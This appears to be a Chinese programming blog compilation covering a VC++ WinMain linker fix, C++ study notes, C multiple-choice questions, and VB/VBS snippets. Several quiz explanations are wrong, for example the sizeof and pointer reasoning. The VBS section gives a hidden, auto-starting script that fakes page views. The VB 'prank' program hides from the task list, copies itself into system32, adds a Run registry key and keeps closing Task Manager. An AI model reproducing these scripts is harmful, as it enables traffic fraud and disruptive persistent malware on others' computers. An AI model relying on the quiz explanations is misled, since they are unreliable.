error LNK2001unresolved external symbol

今天看了下孙鑫的一个源码,第一个msg一个窗体,几个事件的API,编译就是不通过,然后重装了下VC6.0还是不行,邪门了,然后装了VS 2008,晕到,还是不行,然后百度去吧,找了一个又一个还是不行,这可咋办,先从小程序开始找到底是那里出问题了,首先编译一个例子,没问题,然后加入API函数的就编译不通过,只有几句代码而已,那是那里的问题呢,可是有些小程序就可以编译通过,提示错误要清理下BUG,或者是找找LIB库文件了,都找了,都没问题了。先发下代码:

#include <windows.h>
int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
PSTR szCmdLine, int iCmdShow)
{
MessageBox(NULL, TEXT("Hello, Windows 98!"), TEXT("HelloMsg"), 0);
return 0;
}

就这么个简单的代码都不通过,仔细分析,以前搞的都是MIAN函数,入口点这不是不一样嘛,然后加上main函数代码:

#include <windows.h>
int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
PSTR szCmdLine, int iCmdShow)
{
MessageBox(NULL, TEXT("Hello, Windows 98!"), TEXT("HelloMsg"), 0);
return 0;
}
void main()
{
}

嗯嗯,ok了,这样就可以通过了,可是这不是我要的程序,所以要修改下环境配置了,我也是看以为高手贴出来的,才成功搞定的,下面分享下拉。

一,问题描述
error LNK2001: unresolved external symbol _WinMain@16
debug/main.exe:fatal error LNK 1120:1 unresolved externals
error executing link.exe;

二,产生这个问题可能的原因
1. 你用vc建了一个控制台程序,它的入口函数应该是main, 而你使用了WinMain.
2.? 你用vc打开了一个.c/.cpp 文件,然后直接编译这个文件,这个文件中使用了WinMian而不是main作为入口函数。vc这时的默认设置是针对控制台程序的。

三, 解决方法
1.进入project->setting->c/c++, 在category中选择preprocessor,在processor definitions中删除_CONSOLE, 添加_WINDOWS
2.进入project->setting->Link, 在Project options中将 /subsystem:console改为/subsystem:windows.
3.保存设置,Rebuild All.
VS2005中的设置请参考对应项进行设置

四,VS2005中的设置

1.菜单中选择 Project->Properties, 弹出Property Pages窗口
2.在左边栏中依次选择:Configuration Properties->C/C++->Preprocessor,然后在右边栏的Preprocessor Definitions对应的项中删除_CONSOLE, 添加_WINDOWS.
3.在左边栏中依次选择:Configuration Properties->Linker->System,然后在右边栏的SubSystem对应的项改为Windows(/SUBSYSTEM:WINDOWS)
4.Rebuild All. Ok ?
测试:(环境:vs2005,编程语言vc)

1.用文本编辑器编写如下代码:

// test.c
#include <windows.h>
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR???? lpCmdLine,
int?????? nCmdShow)
{
MessageBox(NULL, "Hello!", "title", MB_OK);
}

假设把文件包存为test.c.
2.用vs2005建一个Win32 Console Application, 注意在Application Settings设置为Empty project. 然后把test.c添加到工程中去。
3.vs2005建立的工程默认是支持UNICODE的,我不用这个,所以在菜单中选择 Project->Properties, 弹出Property Pages窗口。在左边栏中依次选择:Configuration Properties->General,然后把右边栏的Character Set 改为Use Multi-Byte Character Set.
4.编译,出现如下错误:
MSVCRTD.lib(crtexe.obj) : error LNK2019: unresolved external symbol _main referenced in function ___tmainCRTStartup
C:\test\Debug\test.exe : fatal error LNK1120: 1 unresolved externals
5.按照上述VS2005中的设置方法进行设置,然后再编译,错误消失了吧!
 

VC学习心得

以下是学习VC++初级记录的笔记,感觉重点的记录了一下,同时与大家分享一下,希望对大家的学习有帮助。

1.构造函数与析构函数特点:
都没有返回值
析构函数不能带有参数,而且只有一个
2.continue与break语句
continue返回循环体,break结束跳出循环体
continue与switch结合,break与for,while等循环使用
3.栈和堆的区别
栈由程序控制(函数参数),用完后将被释放//先进后出,不产生磁盘碎片
堆由程序员控制,由程序员编写程序确定释放时间,程序结束时,可能由操作系统回收//易产生磁盘碎片,存储量大
4.指针:可以为空;可以被赋值;
引用:不能为空;只可以初始化。
5.构造函数的执行顺序是由成员列表的初始化决定的;->->自上而下顺序;
析构函数的执行顺序也是由成员列表初始化决定;<-<-<-自下而上顺序。
6.对象必须{对象类 对象}新建了实例才可以用。
7.栈中空间比较小,只有2M,堆的上线是由系统有效的虚拟内存来定的,因此获得的空间比较大。
8.类的定义是class A 不是class A(),在main()函数前,必须先声明,main中调用,main后定义。
9.单一继承格式: class 子类: (继承方式) 父类
一个变量在内存只有一个地址,不能赋值set=set是错误的。
10.公有派生的前提下:基类的保护成员被派生类继承过来以后仍然是保护成员。
11.继承方式:
public:全局继承方式;
private:局部内部继承方式;
protected:保护方式,可以访问,但是不可以修改;
12.派生类指针是不允许指向基类对象的,同理基类的引用可以做为派生类对象的别名,但是反过来则不行,派生类的引用不可以做为基类对象的别名。
13.单一继承:只有一个基类;
多重继承:拥有多个基类。
14.在虚函数中不使用指针就无法实现动态联编。
15.茂国:父类中的虚方法(就是我们说的抽象方法),只要在子类中实现了就是重写
16.茂国:普通成员函数也可以被重写,但是不建议这样做,因为没有意义,好的设计模式不会更改父类的非virtual函数。
 

帮老师做的C精华试题

1.? 有以下程序

#include <stdio.h>
main()
{ char s[]={“012xy”};? /*定义数组S*/
int i,n=0;??? /*声明变量是整型,并给n赋值*/
for(i=0;s[i]!=0;i++)?? /*判断如果是s[i]!=0则继续循环 下面的判断语句*/
if(s[i]&gt;=’a’&amp;&amp;s[i]&lt;=’z’) n++;? /*判断是否是在小写a到z之间第一个从0开始所以判断到了x的时候n已经过去了0,1,2三次了,到x了,n停止累加,所以输出的是2*/
printf(“%d\n”,n);
}

程序运行后的输出结果是(B)
A)0
B)2
C)3
D)5
2.? 有以下程序

#include
main()
{ int n=2,k=0;? /*声明整型变量n和k并赋值*/
while(k++&amp;&amp;n++&gt;2);? /*? 循环 条件 也就是括号里面部分如果为真的话就继续循环否则退出循环第一个循环是 k++ 这时k=K+1?? 解释一下K++和++K的区别,K++是先赋值后使用,++K 是先使用后赋值,去编译器运行一下就可以见效果了,在这里K输出的是 1 不是0 ,具体自己去编译器领悟,然后 &amp;&amp; 和后面部分, 循环条件如果N++&gt;2就退出循环,n的初始值是2,这时N++ 已经符合退出条件了,就在这里停止循环*/
printf(“%d %d\n”,k,n);
}

程序运行后的输出结果是(D)
A)0 2
B)1 3
C)5 7
D)1 2
3. 有以下程序

#include
void fun(int p) /* 自定义过程,void 无返回值类型函数*/
{ int d=2;
p=d++; printf(“%d”,p);}
main()/* 主函数*/
{ int a=1;
fun(a); /* 调用自定义过程*/ printf(“%d\n”,a);}

程序运行后的输出结果是(C)? /*? a独占一个地址,d 独占一个地址,地址的值结合不是简单的相加*/
A)32
B)12
C)21
D)22
4.设有以下函数
void fun(int n,char * s) {……}
则下面对函数指针的定义和赋值均是正确的是(A)
A)void (*pf)(); pf=fun; /* 前面部分是返回函数的指针,后面部分是给函数指针赋值,注意给函数指针赋值不是简单变量赋值,不能给指针变量赋地址例D选项就是错误的*/
B)viod *pf(); pf=fun; /* 这里就要看做是*(pt())指针运算符的优先级最高,这部分的意思是这个函数的返回值是指针,所以明显的后面fun函数不能直接给指针变量赋值了。。。*/
C)void *pf(); *pf=fun; /* 跟B选项一样,不能把函数直接赋给指针变量*pt */
D)void (*pf)(int,char);pf=&fun; /* 这里上面解释了不能给函数指针赋 地址*/

5. 有以下程序

#include
#define f(x) x*x*x /* 宏定义*/
main()
{ int a=3,s,t;
s=f(a+1);t=f((a+1));
printf(“%d,%d\n’,s,t);
}

/* 第一次a=3 ,s=(3+1*3+1*3+1)= 10,t =f(4)=4*4*4=64? 所以运行以后选择答案
A */
程序运行后的输出结果是(A)
A)10,64
B)10,10
C)64,10
D)64,64
6.有以下程序

#include
struct A?? /* 定义?? 结构体 类型*/
{ int a; char b[10]; double c;};
struct A f(struct A t);
main()
{ struct A a={1001,”ZhangDa”,1098.0};
a=f(a);jprintf(“%d,%s,%6.1f\n”,a.a,a.b,a.c); /*第一个是是输出a中a数据,第二个是输出a中b的数据,第三个是a中c的数据,因为a.b 和a.c 两个成员在后面用了复制函数,所以输出该结果*/
}

struct A f(struct A t)
( t.a=1002;strcpy(t.b,”ChangRong”);t.c=1202.0;return t; )
程序运行后的输出结果是(D)
A)1001,ZhangDa,1098.0
B)1001,ZhangDa,1202.0
C)1001,ChangRong,1098.0
D)1001,ChangRong,1202.0

7.有以下程序

#include
typedef struct?? /*自定义类型*/
{ int num;double s}REC; /*初始化 变量REC*/
void fun1( REC x ){x.num=23;x.s=88.5;}
main()
{ REC a={16,90.0 };/* 实参*/
fun1(a); /*实参传递给形参*/
printf(“%d\n”,a.num);
}

程序运行后的输出结果是16

8. 以下程序的运行结果是(C)

#include "stdio.h"
main()
{struct date
{int year,month,day;}today;?? /*定义枚举类型,年月,日*, /
printf("%d\n",sizeof(struct date));/ *输出占用字节,一个整型数据占用2个字节,上面在枚举类型中定义了3个整型变量,所以这个枚举类型占用 6个字节*/
}

A)6
B)8
C)10
D)12

C给二维字符串数组参数赋值

#include "stdio.h"
#define STR_SIZE 255
//
void write_array(char str_arry[][STR_SIZE])
{
sprintf(str_arry[0], "test0");
sprintf(str_arry[1], "test1");
sprintf(str_arry[2], "test2");
}
//
int main(void)
{
char str_arry[3][STR_SIZE];
//
write_array(str_arry);
printf("str[0]: %sn", str_arry[0]);
printf("str[1]: %sn", str_arry[1]);
printf("str[2]: %sn", str_arry[2]);
exit(0);
}

VBS几秒打开网页几秒后关闭网页刷网页PV

今天在家里走的时候想做一个刷PV的脚本,不在家的时候,谁打开电脑还可以自动帮我刷流量,不过别人可能会以为这是病毒哦,不过还好啦,这不是病毒,下面讲一下代码用到的知识吧,需要vbs脚本和DOS命令配合起来使用哦。

do while true
loop

//这是一个循环

set txt=createobject("wscript.shell")
txt.run "iexplore http://www.0535code.com"
wscript.sleep 1000 '延时1秒
txt.run "taskkill /im IEXPLORE.exe"
'这里是核心代码了

创建对象, 对象运行IE方法,在指定的时间内运行后释放掉对象,一直这样的死循环就可以了。

合并到一起代码就是:

do while true
set txt=createobject("wscript.shell")
txt.run "iexplore http://www.0535code.com"
wscript.sleep 1000 '延时60秒
txt.run "taskkill /im IEXPLORE.exe"
loop

把这段代码用记事本打开,另存为0535code.vbs

保存后移动到C盘,然后用DOS命令Attrib隐藏掉+r +a +s +h 这个参数大家可以去自己查。避免别人发现删掉了,或者修改了、

剩下最后一步就是把这个vbs的快捷方式移动到开始菜单里面的程序中的启动文件夹里,这样就是开机启动了,就可以自动刷网站的PV了。同时也是一些病毒的实现原理,这里是编程学习的平台哦,希望大家不要做坏事哦。

让你鼠标变蜗牛速度,践踏屏幕,开机自启动

? 马上就要开学了,一假期想想自己好像也没学到具体的知识,学到了经验,那天看到自己村一个初中的孩子,在桌面有一个vbs脚本玩人的程序,那个我以前在网上也看到过,没什么技术含量,可是曾经我在网上认识一个男的,他现在在从事网络安全维护,知道的挺多,没想到他竟然不知道vbs脚本,还有现在多少大学生不知道的,或许知道嵌入在网页,知道在window宿主里面用麽,那小小的初中生现在就开始学了,以后栋梁之材呐,呵呵,好了不罗索了,今天想在这里发表一个程序,有人叫做病毒,他有病毒的一些属性,但是不是病毒,没破坏性,不过自己编译了以后,自己用的话,如果没装双系统或者不会有U盘启动系统的话,那就不要在自己系统轻易去尝试哦,好了下面开始拿出代码来了~!~!·

先声明API函数~!~ 具体不解释了,想知道的话去VB的MSDN集合自己找去~!

Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
'下面是在窗体装入的时候要发生的事件,要发生两个事件哦~!
Private Sub Form_Load()
App.TaskVisible = False    '这里是在任务管理器中的应用程序不显示
App.Title = wangchi        '这里是标题
'
Dim SourceFile, DestinationFile            '这里是复制函数哦~!下面就开始了
SourceFile = "C:\Documents and Settings\Administrator\桌面\wangchi.exe"   ' 这里是指定源文件名。
DestinationFile = "C:\WINDOWS\system32\wangchi.exe"   '这里是 指定目的文件名。
FileCopy SourceFile, DestinationFile   ' 将源文件的内容复制到目的文件中
'
'Set my = CreateObject("WScript.Shell")        '这里是加入注册表启动项的过程, 前面是注册表键值,后面是路径了!
my.regWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\wangchi", dirwin & "C:\WINDOWS\system32\wangchi.exe", "REG_SZ"
End Sub
'下面是在时间控件里需要做的,时间控件的interval 这里时间间隔自己随便设置,这里设置的时间就是这个速度返回操作~!
Private Sub Timer1_Timer()
hw = FindWindow(vbNullString, "Windows 任务管理器")
SendMessage hw, &H10, 0, 0
SendKeys "%"
Me.SetFocus
'
'下面的是让窗体不断 变颜色
If Form1.BackColor = vbRed Then
Form1.BackColor = vbGreen
Else
Form1.BackColor = vbRed
End If
'
'下面是让窗体在桌面上随机产生位置~!~!
Form1.Width = Rnd * 10000
Form1.Top = Rnd * 10000
Form1.Left = Rnd * 10000
Form1.Height = Rnd * 10000
For i = 1 To 1000
Randomize
PSet (ScaleWidth * Rnd, ScaleHeight * Rnd), QBColor(Rnd * 15)
Next i
End Sub
'这个代码就分析到这里了,提前声明,不理解的人不要乱用,出问题了不负责。  只供编程爱好者欣赏~!~

VB发邮件代码

下面段代码是VB发邮件代码

Private Sub Form_Load()
On Error Resume Next
Dim NameSa As String
Dim Email As Object
NameSa = "http://schemas.microsoft.com/cdo/configuration/"
Set Email = CreateObject("CDO.Message")
Email.From = "longyunaihui@163.com" '你的发邮件地址,比如xxx@sina.com
Email.To = " 610358898@qq.com" 'example@163.com
Email.Subject = "测试一下" '邮件的标题
Email.Textbody = "现代职业学院" '& 邮件正文&
Email.AddAttachment "" '附件的路径
Email.Configuration.Fields.Item(NameSa & "sendusing") = 2
Email.Configuration.Fields.Item(NameSa & "smtpserver") = "smtp.163.com" 'smtp.sina.com 这里填邮件的smtp服务器
Email.Configuration.Fields.Item(NameSa & "smtpserverport") = 25 '
Email.Configuration.Fields.Item(NameSa & "smtpauthenticate") = 1
Email.Configuration.Fields.Item(NameSa & "sendusername") = "longyunaihui@163.com" '你的邮箱用户名
Email.Configuration.Fields.Item(NameSa & "sendpassword") = "888888888" '你的邮箱密码
Email.Configuration.Fields.Update
Email.send
End Sub

引用资源管理器音乐文件

好多人都想给自己的程序加个背景音乐,但又不想附带个音乐文件,而想集成在一个程序中.
那怎么实现呢?呵呵,简单的给大家讲一下我用的方法:

要想播放音乐,当然得把音乐文件给释放出来,然后再去播放

Public Function SaveFileFromRes(vntResourceID As Variant, sType As String, sFileName As String) As Boolean
Dim bytImage() As Byte
Dim iFileNum As Integer
On Error GoTo SaveFileFromRes_Err
SaveFileFromRes = True
'
bytImage = LoadResData(vntResourceID, sType)
iFileNum = FreeFile
'
Open sFileName For Binary As iFileNum
Put #iFileNum, , bytImage
Close iFileNum
Exit Function
SaveFileFromRes_Err:
SaveFileFromRes = False: Exit Function
End Function
'
'Copy Code
Private Sub Form_Load()
SaveFileFromRes 101, "CUSTOM", "C:\WINDOWS\system32\1.mid"
'
End Sub

接着就是去播放你的音乐文件了

我的思路是用WMP控件完成
添加个WMP控件,由于是背景音乐,所以不能让别人看见你的播放器
故把WMP的可见属性改为假
然后在Form_Load事件中加下面这行播放代码即可
WindowsMediaPlayer1.URL = “C:\WINDOWS\system32\1.mid”
OK,大致的过程就完成了,启动你的程序,应该就有背景音乐了吧.HOHO~
下面接着来优化下代码:

优化一:让背景音乐循环播放

Private Sub WindowsMediaPlayer1_PlayStateChange(ByVal NewState As Long)
If NewState = 1 Then
WindowsMediaPlayer1.Controls.play
End If
End Sub

优化二:
退出程序时把释放的音乐文件删除

Private Sub Form_Unload(Cancel As Integer)
On Error Resume Next
Kill "C:\WINDOWS\system32\1.mid"
End Sub

这样就差不多了,暂时就用这种笨法子啦…